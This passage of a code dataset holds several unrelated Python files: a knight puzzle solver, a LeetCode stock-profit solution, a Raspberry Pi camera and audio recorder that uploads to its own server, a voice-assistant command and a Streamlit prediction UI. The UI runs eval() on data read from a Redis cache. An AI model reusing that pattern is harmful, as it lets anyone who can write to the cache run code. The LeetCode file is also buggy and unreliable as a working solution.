data = {}\n    # save original board for use in undoing moves\n    data['original_board'] = board.copy()\n    # find transports\n    data['transports'] = _get_transports(board)\n    # alias the final location for use at the end\n    temp = np.nonzero(board == Piece.final)\n    data['final_loc'] = (temp[0][0], temp[1][0])\n    # calculate the costs for landing on each square\n    data['costs'] = _board_to_costs(board)\n    # crudely predict all the costs\n    data['pred_costs'] = _predict_cost(board)\n    # initialize best costs on first run\n    data['best_costs'] = np.full(board.shape, LARGE_INT, dtype=int)\n    # initialize best solution\n    data['best_moves'] = None\n    # initialize moves array and solved status\n    data['moves'] = []\n    data['is_solved'] = False\n    data['all_moves'] = [[[] for y in range(board.shape[1])] for x in range(board.shape[0])]\n    data['all_boards'] = np.empty((board.shape[0], board.shape[1], board.shape[0], board.shape[1]), dtype=int)\n    # initialize current cost and update in best_costs\n    data['current_cost'] = 0\n    temp = np.nonzero(board == Piece.start)\n    data['best_costs'][temp] = data['current_cost']\n    # create temp board and set the current position to the start\n    temp_board = board.copy()\n    temp_board[board == Piece.start] = Piece.current\n    # store the first board\n    data['all_boards'][:, :, temp[0][0], temp[1][0]] = temp_board.copy()\n    return data\n\n#%% _solve_next_move\ndef _solve_next_move(board, data, start_x, start_y):\n    r\"\"\"\n    Solves the puzzle using a breadth first approach.\n\n    Parameters\n    ----------\n    board : 2D ndarray of int\n        Board layout\n    data : dict\n        Mutable internal data dictionary for storing information throughout solver calls, see _initialize_data\n    cur_pos : 2 element tuple of int\n        Current x and y position\n\n    Notes\n    -----\n    #.  Written by David C. Stauffer in November 2015.\n\n    Examples\n    --------\n    >>> from dstauffman2.games.knight import _solve_next_move, Piece, _initialize_data\n    >>> import numpy as np\n    >>> board = np.zeros((2,5), dtype=int)\n    >>> board[0, 0] = Piece.start\n    >>> board[0, 4] = Piece.final\n    >>> data = _initialize_data(board)\n    >>> start_x = 0\n    >>> start_y = 0\n    >>> board[start_x, start_y] = Piece.current\n    >>> _solve_next_move(board, data, start_x, start_y)\n    >>> print(data['best_costs'])\n    [[      0 1000000 1000000 1000000 1000000]\n     [1000000 1000000       1 1000000 1000000]]\n\n    \"\"\"\n    # check for a start piece, in which case something is messed up\n    assert not np.any(board == Piece2['start']), 'Empty dicts should not have a start piece and vice versa.'\n    # guess the order for the best moves based on predicited costs\n    sorted_moves = _sort_best_moves(board, MOVES, data['pred_costs'], data['transports'], start_x, start_y)\n    # try all the next possible moves\n    for this_move in sorted_moves:\n        # make the move\n        (cost, is_repeat, new_x, new_y) = _update_board(board, this_move, data['costs'], \\\n            data['transports'], start_x, start_y)\n        # optional logging for debugging\n        log_message = 'this_move = {}, this_cost = {}, total moves = {}'.format(this_move, cost, data['moves'])\n        # if the move was invalid then go to the next one\n        if cost == COST_DICT['invalid']:\n            logging.debug(log_message + ' - invalid')\n            continue # pragma: no cover - Actually covered, error in coverage tool\n        # valid move\n        else:\n            # determine if move was to a previously visited square of worse cost than another sequence\n            if is_repeat or data['current_cost'] + abs(cost) >= data['best_costs'][new_x, new_y]:\n                logging.debug(log_message + ' - worse repeat')\n                # reject move and re-establish the visited state\n                _undo_move(board, this_move, data['original_board'], data['transports'], new_x, new_y)\n                if cost > 0 and is_repeat:\n                    board[new_x, new_y] = Piece2['visited']\n                continue # pragma: no cover - Actually covered, error in coverage tool\n            # optional logging for debugging\n            if cost < 0:\n                logging.debug(log_message + ' - solution')\n                logging.debug('Potential solution found, moves = {} + {}'.format(data['moves'], this_move))\n            elif is_repeat:\n                logging.debug(log_message + ' - better repeat')\n            else:\n                logging.debug(log_message + ' - new step')\n            # move is new or better, update current and best costs and append move\n            assert data['best_costs'][new_x, new_y] > 50000\n            data['best_costs'][new_x, new_y] = data['current_cost'] + cost\n            data['all_moves'][new_x][new_y] = data['moves'][:] + [this_move]\n            data['all_boards'][:, :, new_x, new_y] = board.copy()\n            if cost < 0:\n                print('Solution found for cost of: {}.'.format(data['current_cost'] + abs(cost)))\n                data['is_solved'] = True\n                _undo_move(board, this_move, data['original_board'], data['transports'], new_x, new_y)\n            else:\n                # undo board as prep for next move\n                _undo_move(board, this_move, data['original_board'], data['transports'], new_x, new_y)\n\n#%% Functions - solve_min_puzzle\ndef solve_min_puzzle(board):\n    r\"\"\"\n    Puzzle solver.  Uses a breadth first approach to solve for the minimum length solution.\n\n    Parameters\n    ----------\n    board : 2D ndarray of int\n        Board layout\n\n    Returns\n    -------\n    moves : list of int\n        Moves to solve the puzzle, empty if no solution was found\n\n    Notes\n    -----\n    #.  Written by David C. Stauffer in November 2015.\n    #.  The 'max' length solver has not been written yet.\n\n    Examples\n    --------\n    >>> from dstauffman2.games.knight import solve_min_puzzle, Piece\n    >>> import numpy as np\n    >>> board = np.zeros((2,5), dtype=int)\n    >>> board[0, 0] = Piece.start\n    >>> board[0, 4] = Piece.final\n    >>> moves = solve_min_puzzle(board) # doctest: +ELLIPSIS\n    Initializing solver.\n    Solution found for cost of: 2.\n    Elapsed time : ...\n\n    >>> print(moves)\n    [2, -2]\n\n    \"\"\"\n    # hard-coded values\n    MAX_ITERS = 25\n\n    # start timer\n    start_solver = time.time()\n\n    # initialize the data structure for the solver\n    print('Initializing solver.')\n\n    # check that the board has a final goal\n    if not np.any(board == Piece.final):\n        raise ValueError('The board does not have a finishing location.')\n\n    # initialize the data structure\n    data = _initialize_data(board)\n\n    # solve the puzzle\n    for this_iter in range(MAX_ITERS):\n        next_moves = np.nonzero(data['best_costs'] == data['current_cost'])\n        for ix in range(len(next_moves[0])):\n            start_x = next_moves[0][ix]\n            start_y = next_moves[1][ix]\n            # update the current board and moves for the given position\n            temp_board = data['all_boards'][:, :, start_x, start_y]\n            data['moves'] = data['all_moves'][start_x][start_y]\n            # call solver for this move\n            _solve_next_move(temp_board, data, start_x, start_y)\n        # increment the minimum cost and continue\n        data['current_cost'] += 1\n    # if the puzzle was solved, then save the relevant move list\n    if data['is_solved']:\n        data['moves'] = data['all_moves'][data['final_loc'][0]][data['final_loc'][1]]\n    else:\n        print('No solution found.')\n        data['moves'] = []\n    # display the elapsed time\n    print('Elapsed time : ' + time.strftime('%H:%M:%S', time.gmtime(time.time()-start_solver)))\n    return data['moves'] # or just return data for debugging\n\n#%% Functions - solve_max_puzzle\ndef solve_max_puzzle(board):\n    r\"\"\"\n    Puzzle solver.  Uses a depth first recursive approach to solve for the maximum length solution.\n\n    Parameters\n    ----------\n    board : 2D ndarray of int\n        Board layout\n\n    Returns\n    -------\n    moves : list of int\n        Moves to solve the puzzle, empty if no solution was found\n\n    Notes\n    -----\n    #.  Not yet written.\n\n    Examples\n    --------\n    >>> from dstauffman2.games.knight import solve_max_puzzle, Piece\n    >>> import numpy as np\n    >>> board = np.zeros((2,5), dtype=int)\n    >>> board[0, 0] = Piece.start\n    >>> board[0, 4] = Piece.final\n    >>> moves = solve_max_puzzle(board) # doctest: +SKIP\n\n    >>> print(moves) # doctest: +SKIP\n\n    \"\"\"\n    # start timer\n    start_solver = time.time()\n\n    # initialize the data structure for the solver\n    print('Initializing solver.')\n\n    # TODO: write this function\n    moves = []\n    if len(moves) == 0:\n        print('No solution found.')\n\n    # display the elapsed time\n    print('Elapsed time : ' + time.strftime('%H:%M:%S', time.gmtime(time.time()-start_solver)))\n    return moves # or just return data for debugging\n\n#%% Unit test\ndef _main():\n    r\"\"\"Unit tests.\"\"\"\n    unittest.main(module='dstauffman2.games.test_knight', exit=False)\n    doctest.testmod(verbose=False)\n\n#%% Script\nif __name__ == '__main__':\n    # flags for what steps to do\n    do_steps = {-1, 0, 1, 2, 3, 4, 5}\n    #do_steps = {10}\n    print_seq = True\n\n    # Step -1 (Run unit tests)\n    if -1 in do_steps:\n        _main()\n\n    # convert board to numeric representation for efficiency\n    board1 = char_board_to_nums(BOARD1)\n    board2 = char_board_to_nums(BOARD2)\n\n    # Step 0\n    if 0 in do_steps:\n        print('Step 0: print the boards.')\n        print_board(board1)\n        print('')\n        print_board(board2)\n        print('')\n\n    # Step 1\n    if 1 in do_steps:\n        print('\\nStep 1: see if the sequence is valid.')\n        moves1 = [2, 2]\n        is_valid1 = check_valid_sequence(board1, moves1, print_status=True)\n        if is_valid1 and print_seq:\n            print_sequence(board1, moves1)\n\n    # Step 2\n    if 2 in do_steps:\n        print('\\nStep 2: solve the first board for any length solution.')\n        moves2 = solve_min_puzzle(board1)\n        print(moves2)\n        is_valid2 = check_valid_sequence(board1, moves2, print_status=True)\n        if is_valid2 and print_seq:\n            print_sequence(board1, moves2)\n\n    # Step 3\n    if 3 in do_steps:\n        print('\\nStep 3: solve the first board for the minimum length solution.')\n        moves3 = solve_min_puzzle(board1)\n        print(moves3)\n        is_valid3 = check_valid_sequence(board1, moves3, print_status=True)\n        if is_valid3 and print_seq:\n            print_sequence(board1, moves3)\n\n    # Step 4\n    if 4 in do_steps:\n        print('\\nStep 4: solve the second board for the minimum length solution.')\n        board2[0, 0] = Piece.start\n        #board2[-1, -1] = Piece.final # doesn't use transport\n        board2[11, -1] = Piece.final # uses transport\n        moves4 = solve_min_puzzle(board2)\n        print(moves4)\n        is_valid4 = check_valid_sequence(board2, moves4, print_status=True)\n        if is_valid4 and print_seq:\n            print_sequence(board2, moves4)\n\n    # Step 5\n    if 5 in do_steps:\n        pass\n\n    # Step 10, alternate solver for testing\n    if 10 in do_steps:\n        print('\\nStep 10: solve a test board for the minimum length solution.')\n        board3 = np.zeros((6, 5), dtype=int)\n        board3[:, 2] = Piece.barrier\n        board3[0, 0] = Piece.start\n        board3[5, 3] = Piece.final\n        board3[4, 0] = Piece.transport\n        board3[1, 3] = Piece.transport\n        print_board(board3)\n        print('')\n        moves10 = solve_min_puzzle(board3)\n        is_valid10 = check_valid_sequence(board3, moves10, print_status=True)\n        print(moves10)\n        if is_valid10:\n            print_sequence(board3, moves10)\n","repo_name":"DStauffman/dstauffman2","sub_path":"dstauffman2/games/knight.py","file_name":"knight.py","file_ext":"py","file_size_in_byte":49047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4271269623","text":"#Problem link-> https://leetcode.com/problems/best-time-to-buy-and-sell-stock-ii/\r\n#Leetcode Problem 122. Best Time to Buy and Sell Stock II\r\n\r\nclass Solution:\r\n    def maxProfit(prices):\r\n        profit = 0\r\n        buy = 0\r\n        sell = 0\r\n\r\n        for i in range(len(prices)-1):\r\n          if prices[i+1] - prices[i] >=0:\r\n                buy = prices[i]\r\n                sell = prices[i+1]\r\n                profit += sell -buy\r\n        return profit\r\n\r\n    # test the code\r\n    if __name__ == \"__main__\":\r\n        print(maxProfit([7,1,5,6,4]))","repo_name":"CSI-SFIT/Data-Structures-and-Algorithms--A-Comprehensive-Guide","sub_path":"Codes/Python/greedy algorithms/maxProfit.py","file_name":"maxProfit.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"60"}
+{"seq_id":"42193176021","text":"# -*- coding: utf-8 -*-\n__author__ = \"kojima@sofrio.com\"\n__date__ = \"Sep  8 15:05:31 2018\"\n\nimport os\nimport sys\nimport shutil\nimport time\nimport datetime\nimport threading\nimport subprocess\nimport signal\nimport picamera\nimport RPi.GPIO as GPIO\nimport util as ut\n\nSENSOR_TRIGGER = len(sys.argv) < 2 or sys.argv[1] != \"-c\"\nRUN_MODE = \"センサー\" if SENSOR_TRIGGER else \"常時録画\"\n\nUPLOAD_META_DATA = True\nUPLOAD_IMAGE = True\nUPLOAD_SOUND = True\nTRACE_UPLOAD = True\n\nFRAME_SIZE = (320, 240)\nINIT_FPS = 15 if SENSOR_TRIGGER else 10\nFPS_ADJUST = 5\nMIN_FPS = 5\nMAX_FPS = 30\n\nCHECK_PERFORMANCE = False\nif CHECK_PERFORMANCE:\n    RUN_MODE = \"性能計測\"\n    SENSOR_TRIGGER = False\n    UPLOAD_META_DATA = False\n    UPLOAD_IMAGE = False\n    UPLOAD_SOUND = False\n    TRACE_UPLOAD = False\n    MAX_FPS = 90\n\ntry:\n    CAMERA_ID, LAT, LON = ut.file_get_contents(\"cameraID\").split()\nexcept IOError as err:\n    print(\"cameraID ファイルにアクセスできません。(%s)\" % err)\n    sys.exit(-1)\nexcept ValueError as err:\n    print(\"cameraID ファイルが不正です。(%s)\" % err)\n    sys.exit(-1)\nPORT = \"61\"\n\nSENSOR_CHANNEL = 8\nSENSE_INTERVAL = 0.5\nSENSE_DURATION = 5 #sec\nSENSE_DELTA = datetime.timedelta(seconds=SENSE_DURATION)\nSOUND_DURATION = 60 #sec\nSHOW_RECORD_MSG = False\nSHOW_ENCODE_MSG = False\n\nBUFFER_DIR = ut.TMP_DIR\nBUFFER_NAME = BUFFER_DIR + \"buf\"\nBUFFER_SIZE = 60 if SENSOR_TRIGGER else 30\nMAX_THREADING_FILES = BUFFER_SIZE\nADJUST_CYCLE = 4\n\nSERVER_URL = \"http://cms.japaneast.cloudapp.azure.com\"\nMETA_URL = SERVER_URL + \":60/cameramap/ipupdate.php\"\nIMAGE_URL = SERVER_URL + \":\" + PORT + \"/imageup.php\"\nSOUND_URL = SERVER_URL + \":\" + PORT + \"/soundup.php\"\n\nLOCAL_SERVER = False\nif LOCAL_SERVER:\n    CAMERA_ID = \"28\"\n    PORT = \"82\"\n    INIT_FPS = 30\n    #FRAME_SIZE = (640, 480)　ダウンロードが間に合わない\n    SERVER_URL = \"http://192.168.1.60\"\n    META_URL = SERVER_URL + \":60/camerademo/ipupdate.php\"\n    SERVER_URL = \"http://192.168.1.82\"\n    IMAGE_URL = SERVER_URL + \":\" + PORT + \"/imageup.php\"\n    SOUND_URL = SERVER_URL + \":\" + PORT + \"/soundup.php\"\n\n\nclass Recorder(object):\n    done = False # 全ての Recorder が同時に終了するためにクラス変数とする\n\n    def __init__(self):\n        self.event = threading.Event()\n        self.wait = True\n        self.wakes = 0\n        self.wake_time = None\n        self.record_times = datetime.timedelta(0)\n        self.uploads = 0\n        #print(\"Starting %s thread...\" % type(self))\n        self.thread = ut.threader(self.run)\n\n    def run(self):\n        while not Recorder.done:\n            if self.check_wait(): continue\n            try:\n                if self.record():\n                    self.stop()\n            except Exception as ex:\n                print(ex)\n\n    def check_wait(self):\n        if self.wait:\n            if not self.event.wait(1): return True\n            self.event.clear()\n            self.wait = False\n            self.wakes += 1\n            self.wake_time = datetime.datetime.now()\n        return False\n\n    def record(self):\n        class ProgramError(Exception):\n            pass\n        raise ProgramError(\"Recorder.record(self) must be overrided.\")\n\n    def start(self):\n        if self.wait:\n            self.event.set()\n\n    def stop(self):\n        if self.wait: return False\n        self.wait = True\n        self.record_times += datetime.datetime.now() - self.wake_time\n        return True\n\n    def upload_file(self, url, path, cap_time):\n        if not os.path.exists(path): return\n        self.uploads += 1\n        time_str = cap_time.strftime(\"%Y-%m-%d-%H:%M:%S.%f\")\n        #print(\"upload_file(%s, %s)\" % (path, time_str))\n        if url:\n            url += \"?id=\" + CAMERA_ID + \"&time=\" + time_str\n            ut.upload_file(url, \"file\", path)\n        else:\n            if TRACE_UPLOAD:\n                print(\"upload_file(%s, %s)\" % (path, time_str))\n        if os.path.exists(path):\n            os.remove(path) # delete the jpg-file uploaded\n\n    def terminate(self):\n        Recorder.done = True\n        self.stop()\n        if self.thread:\n            #print(\"waiting termination of %s thread.\" % type(self))\n            self.thread.join()\n\n\nclass Audio(Recorder):\n    def __init__(self):\n        self.url = SOUND_URL if UPLOAD_SOUND else None\n        self.rec_proc = None\n        super(Audio, self).__init__()\n\n    def record(self):\n        rec = \"arecord -D hw:1,0 -f S16_LE -d %d\" % SOUND_DURATION\n        self.rec_proc = subprocess.Popen(rec.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n        start_time = datetime.datetime.now()\n        path = BUFFER_DIR + start_time.strftime(\"%Y%m%d%H%M%S\") + \".mp3\"\n        enc = \"lame -b 128 - \" + path\n        enc_proc = subprocess.Popen(enc.split(), stdin=self.rec_proc.stdout, stderr=subprocess.PIPE)\n        print(\" >> %s 録音開始 (%s)\" % (ut.pick_time(start_time), path))\n        for rec_err in iter(self.rec_proc.stderr.readline, ''):\n            if SHOW_RECORD_MSG or (rec_err.find(\"録音中\") < 0 and rec_err.find(\"中断...\") < 0):\n                if rec_err.find(\"_snd_pcm_hw_open\") >= 0 or rec_err.find(\"audio open error\") >= 0:\n                    print(\"エラー： マイクにアクセスできないので、録音はできません。\")\n                    return True\n                print(\"arecord: \" + rec_err)\n        enc_proc.wait()\n        ut.threader(self.upload_file, self.url, path, start_time)\n        end_time = datetime.datetime.now()\n        enc_err = enc_proc.stderr.read()\n        if SHOW_ENCODE_MSG or enc_err.find(\"error\") >= 0:\n            print(\"lame: \" + enc_err)\n        self.rec_proc = None\n        duration = (end_time - start_time).seconds\n        print(\" >> %s 録音終了 (%d 秒)\" % (ut.pick_time(end_time), duration))\n        return False\n\n    def stop(self):\n        super(Audio, self).stop()\n        if self.rec_proc:\n            ut.execute(\"pkill arecord\")\n\n\nclass Buffer():\n    buffers = []\n\n    @staticmethod\n    def clear():\n        if not os.path.isdir(BUFFER_DIR):\n            os.makedirs(BUFFER_DIR)\n        for name in os.listdir(BUFFER_DIR):\n            path = BUFFER_DIR + name\n            if os.path.isdir(path):\n                shutil.rmtree(path)\n\n    @staticmethod\n    def get_avail():\n        for buffer in Buffer.buffers:\n            if buffer.is_avail(): return buffer\n        buffer = Buffer(len(Buffer.buffers))\n        Buffer.buffers.append(buffer)\n        return buffer\n\n    @staticmethod\n    def file_count():\n        files = 0\n        for buffer in Buffer.buffers:\n            files += len(os.listdir(buffer.dir))\n        return files\n\n    def __init__(self, nbr):\n        self.nbr = nbr\n        self.dir = \"%s.%d/\" % (BUFFER_NAME, self.nbr)\n        if os.path.isdir(self.dir):\n            for file in os.listdir(self.dir):\n                os.remove(self.dir + file)\n        else:\n            os.makedirs(self.dir)\n        self.url = IMAGE_URL if UPLOAD_IMAGE else None\n        self.stop = False\n        self.start_time = None\n        self.end_time = None\n        self.delta = 0\n\n    def is_avail(self):\n        return len(os.listdir(self.dir)) == 0\n\n    def is_fixed(self):\n        return self.end_time is not None\n\n    def file_path(self, nbr):\n        return self.dir + \"cap%04d.jpg\" % nbr\n\n    def capture(self, cam):\n        if not self.is_avail(): return 0\n        self.stop = False\n        self.end_time = None\n        self.start_time = datetime.datetime.now()\n        print(\" == %s 録画開始 (%s)\" % (ut.pick_time(self.start_time), self.dir))\n        cam.capture_sequence(self.files(), use_video_port=True)\n        self.end_time = datetime.datetime.now()\n        files = len(os.listdir(self.dir))\n        self.delta = (self.end_time - self.start_time) / files\n        print(\" == %s 録画終了 (%d 画像)\" % (ut.pick_time(self.end_time), files))\n        return files\n\n    def files(self):\n        for i in range(BUFFER_SIZE):\n            if self.stop: break\n            yield self.file_path(i)\n\n    def upload(self, camera):\n        if self.is_avail() or not self.is_fixed(): return\n        cap_time = self.start_time\n        for i in range(len(os.listdir(self.dir))):\n            path = self.file_path(i)\n            if Buffer.file_count() > MAX_THREADING_FILES:\n                camera.upload_file(self.url, path, cap_time)\n            else:\n                ut.threader(camera.upload_file, self.url, path, cap_time)\n            cap_time += self.delta\n        self.start_time = self.end_time = None\n\n\nclass Camera(Recorder):\n    @staticmethod\n    def create():\n        try:\n            return picamera.PiCamera()\n        except Exception:\n            print(\"\\nカメラにアクセスできないので処理を終了します。\")\n            sys.exit(-1)\n\n    def __init__(self, camera):\n        self.camera = camera\n        self.buffer = None\n        self.remains = 0\n        self.adjusts = 0\n        self.setup()\n        super(Camera, self).__init__()\n\n    def __del__(self):\n        self.camera.close()\n\n    def setup(self):\n        self.camera.resolution = FRAME_SIZE\n        self.camera.framerate = MAX_FPS - 5 if CHECK_PERFORMANCE else INIT_FPS\n        self.camera.start_preview()\n        time.sleep(2)\n        #self.camera.hflip = False\n        #self.camera.vflip = False\n        self.camera.stop_preview()\n\n    def record(self):\n        self.adjust_fps()\n        self.buffer = Buffer.get_avail()\n        if self.buffer.capture(self.camera) < 0: return True\n        start_time = self.buffer.start_time # self.bufferがすぐに変更されてしまうため\n        ut.threader(self.meta_data, start_time)\n        ut.threader(self.buffer.upload, self)\n        self.buffer = None\n        return False\n\n    def adjust_fps(self):\n        fps = self.camera.framerate\n        msg = \" ++ フレームレート：%d\" % fps\n        files = Buffer.file_count()\n        delta = files - self.remains\n        info = \" [未送信画像： %d => %d (%+d)]\" % (self.remains, files, delta)\n        adjust = files - (BUFFER_SIZE + FPS_ADJUST)\n        if files == 0 or (self.remains > 0 and abs(adjust) >= FPS_ADJUST):\n            adjust = -1 if adjust > 0 else +1\n            new_fps = min(MAX_FPS, max(MIN_FPS, fps + adjust))\n            if files == 0:\n                new_fps = max(INIT_FPS, new_fps) if CHECK_PERFORMANCE else INIT_FPS\n            if new_fps != fps:\n                if new_fps < fps:\n                    self.camera.framerate = new_fps\n                    self.adjusts = 0\n                    msg += \" => %d\" % new_fps\n                else:\n                    self.adjusts += 1\n                    if self.adjusts % ADJUST_CYCLE == 0:\n                        def change_fps(camera, fps):\n                            camera.framerate = fps\n                        ut.threader(change_fps, self.camera, new_fps)\n                        msg += \" => %d\" % new_fps\n        print(msg + info)\n        self.remains = files\n\n    def meta_data(self, start_time):\n        mtime = start_time.strftime(\"%Y-%m-%d-%H:%M:%S\")\n        '''\n        query = \"id=\" + CAMERA_ID \\\n              + \"&ip=\" + \"255.255.255.255\" \\\n              + \"&time=\" + mtime \\\n              + \"&lat=\" + LAT \\\n              + \"&lon=\" + LON \\\n              + \"&orient=\" + str(0) \\\n              + \"&angle=\" + str(0) \\\n              + \"&altitude=\" + str(50) \\\n              + \"&humidity=\" + str(65) \\\n              + \"&temperature=\" + str(28.5) \\\n              + \"&pressure=\" + str(1024.0)\n        '''\n        query = \"id=\" + CAMERA_ID + \"&time=\" + mtime + \"&lat=\" + LAT + \"&lon=\" + LON\n        url = \"%s?%s\" % (META_URL, query)\n        if UPLOAD_META_DATA:\n            ut.url_retrieve(url)\n        else:\n            if TRACE_UPLOAD:\n                print(\"metadata: %s\" % query)\n\n    def stop(self):\n        super(Camera, self).stop()\n        if self.buffer:\n            self.buffer.stop = True\n\n\nclass Sensor(object):\n    def __init__(self, camera, audio):\n        self.camera = camera\n        self.audio = audio\n        self.record_until = datetime.datetime.now()\n        GPIO.setmode(GPIO.BOARD)\n        GPIO.setup(SENSOR_CHANNEL, GPIO.IN)\n\n    def sense(self):\n        if GPIO.input(SENSOR_CHANNEL):\n            sense_time = datetime.datetime.now()\n            nl = \"\\n\" if self.record_until < sense_time else \"\"\n            self.record_until = sense_time + SENSE_DELTA\n            self.camera.start()\n            self.audio.start()\n            start = ut.pick_time(sense_time)\n            until = ut.pick_time(self.record_until)\n            print(nl + \"★赤外線感応： %s => %s\" % (start, until))\n        else:\n            if self.record_until < datetime.datetime.now():\n                self.camera.stop()\n                self.audio.stop()\n                #time.sleep(0.1)\n                #ut.console_out(\".\")\n        time.sleep(SENSE_INTERVAL)\n\n\ndef run(proc, *args):\n    Recorder.done = False\n    def receive_signal(*_):\n        print(\"\\nシグナル検出...\")\n        Recorder.done = True\n    signal.signal(signal.SIGUSR1, receive_signal)\n    print(\"Ctrl-C を押すか SIGUSR1 を送れば終了します。\")\n    try:\n        while not Recorder.done:\n            proc(*args)\n    except KeyboardInterrupt:\n        print(\"\\nCtrl-C　検出...\")\n\ndef main():\n    cam = Camera.create()\n    print(\"CMS camera#%s を%sモードで開始します。\" % (CAMERA_ID, RUN_MODE))\n    print(\"サーバーは %s です。\" % SERVER_URL)\n    Buffer.clear()\n    audio = Audio()\n    camera = Camera(cam)\n    if SENSOR_TRIGGER:\n        sensor = Sensor(camera, audio)\n        run(sensor.sense)\n    else:\n        camera.start()\n        audio.start()\n        run(time.sleep, 1)\n\n    camera.terminate()\n    audio.terminate()\n    #Buffer.clear()\n    info = \"計 %d 回で %s 録画しました。\" % (camera.wakes, ut.omit_us(camera.record_times))\n    print(\"\\nCMS camera#%s を終了します... %s\" % (CAMERA_ID, info))\n\ndef preview():\n    print(\"Staring preview...\")\n    camera = picamera.PiCamera()\n    camera.resolution = FRAME_SIZE\n    camera.start_preview()\n\n    run(time.sleep, 60)\n\n    camera.close()\n    print(\"Preview finished.\")\n\nif __name__ == '__main__':\n    ut.put_pid()\n    PREVIEW = len(sys.argv) > 1 and sys.argv[1] == \"-p\"\n    if PREVIEW: preview()\n    else: main()\n    os.remove(ut.PID_FILE)\n","repo_name":"sofrio/CMS","sub_path":"CAMERA/camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":14262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"30859345386","text":"\nc = {\n\n   'apple': ['malum', 'pomum', 'popula'],\n\n   'fruit': ['baca', 'bacca', 'popum'],\n\n   'punishment': ['malum', 'multa']\n\n}\ny ={}\nfor k,v in c.items():\n    for r in v:\n        y.setdefault(r, []).append(k)\n\nprint(y)\n","repo_name":"AndreyYurchenko/Desks-for-kids","sub_path":"dz 17.py","file_name":"dz 17.py","file_ext":"py","file_size_in_byte":223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32738697749","text":"import requests\nfrom classes.command import Command\nfrom utilities.settings import Settings\n\n\nclass Temperature(Command):\n    def __init__(self):\n        super().__init__()\n        self.aliases = [\"What's the temperature {thermometer|Where?}\"]\n\n    def _execute(self):\n\n        if self.values[\"thermometer\"] == 0:\n            url = str(Settings.getInstance().get(\"ismaAdres\")) + \"/api\"\n            try:\n                data = self.makeRequest(url)\n                if not data:\n                    raise\n                temp = f'in aquarium: {data[\"Temp\"]} degrees'\n            except:\n                return False, \"Something went wrong.\", None\n\n        elif self.values[\"thermometer\"] == 1:\n            url = str(Settings.getInstance().get(\"ismpAdres\")) + \"/api\"\n            try:\n                data = self.makeRequest(url)\n                if not data:\n                    raise\n                temp = f'inside: {data[\"Temp_in\"]} degrees'\n            except:\n                return False, \"Something went wrong.\", None\n\n        else:\n            url = str(Settings.getInstance().get(\"ismpAdres\")) + \"/api\"\n            try:\n                data = self.makeRequest(url)\n                if not data:\n                    raise\n                temp = f'outside: {data[\"Temp_out\"]} degrees'\n            except:\n                return False, \"Something went wrong.\", None\n\n        return False, f\"The temperature {temp}\", None\n\n    def makeRequest(self, url):\n        try:\n            return requests.get(url).json()\n        except:\n            return None\n","repo_name":"jaanonim/Voice-Assistant","sub_path":"commands/ism/temperature.py","file_name":"temperature.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32111742139","text":"import argparse\r\nimport io\r\nimport hashlib\r\nimport redis\r\nimport cv2\r\nimport numpy as np\r\nimport requests\r\nimport streamlit as st\r\nfrom PIL import Image\r\n\r\nredis_client = redis.Redis(host='db_api', port=6379)\r\n\r\n\r\ndef _preprocess_image(input_image: io.BytesIO, model_type: str) -> np.ndarray:\r\n    image: Image = Image.open(input_image).convert('RGB')\r\n    image: np.ndarray = np.asarray(image)\r\n    if model_type == 'mnist':\r\n        image: np.ndarray = 1 - cv2.cvtColor(image, cv2.COLOR_RGB2GRAY) / 255.0\r\n        image: np.ndarray = cv2.resize(image, dsize=(28, 28), interpolation=cv2.INTER_CUBIC)\r\n        image: np.ndarray = image.reshape(-1, 28, 28, 1).astype(np.float32)\r\n    elif model_type == 'leukemia':\r\n        image: np.ndarray = cv2.resize(image, dsize=(450, 450), interpolation=cv2.INTER_CUBIC)\r\n        image: np.ndarray = image.reshape(-1, *image.shape[::-1]).astype(np.float32)\r\n    else:\r\n        raise ValueError(f'Unrecognized model_type: {model_type}')\r\n\r\n    return image\r\n\r\n\r\ndef classify_image(image_arr: np.ndarray, model_api_url: str) -> dict:\r\n    data: dict = {'image_arr': image_arr.tolist()}\r\n\r\n    data_hexdigest = hashlib.sha256(f'ui_{repr(data[\"image_arr\"])}'.encode('utf-8')).hexdigest()\r\n    post_response = redis_client.get(data_hexdigest)\r\n    if post_response:\r\n        post_response = eval(post_response)  # not super safe but for now ok\r\n    else:\r\n        post_response = requests.post(url=model_api_url, json=data)\r\n        post_response = post_response.json()\r\n\r\n        redis_client.set(data_hexdigest, str(post_response))\r\n\r\n    return post_response\r\n\r\n\r\nif __name__ == '__main__':\r\n    parser = argparse.ArgumentParser()\r\n    parser.add_argument('--model', help='specify classification model type: mnist or leukemia', type=str)\r\n\r\n    args = parser.parse_args()\r\n    model_type: str = args.model.lower()\r\n\r\n    st.set_option('deprecation.showfileUploaderEncoding', False)\r\n    st.title(f'Web API - {model_type}')\r\n    \"\"\"\r\n    Web API for db_api DB connection and model API onnx runtime session inference\r\n    \"\"\"\r\n\r\n    user_image = st.file_uploader('Insert image here')\r\n\r\n    if st.button('Make a prediction'):\r\n        if not user_image:\r\n            st.write('Upload an image first!')\r\n        else:\r\n            _ready_image = _preprocess_image(user_image, model_type)\r\n            prediction = classify_image(_ready_image, 'http://model_api:5050/predict_array')\r\n            st.write('Input image:')\r\n            st.image([user_image], width=300)\r\n            st.write(f'{model_type.capitalize()} prediction json:')\r\n            st.write(prediction)\r\n","repo_name":"gdroguski/MLServe","sub_path":"web_api/ui_app.py","file_name":"ui_app.py","file_ext":"py","file_size_in_byte":2605,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
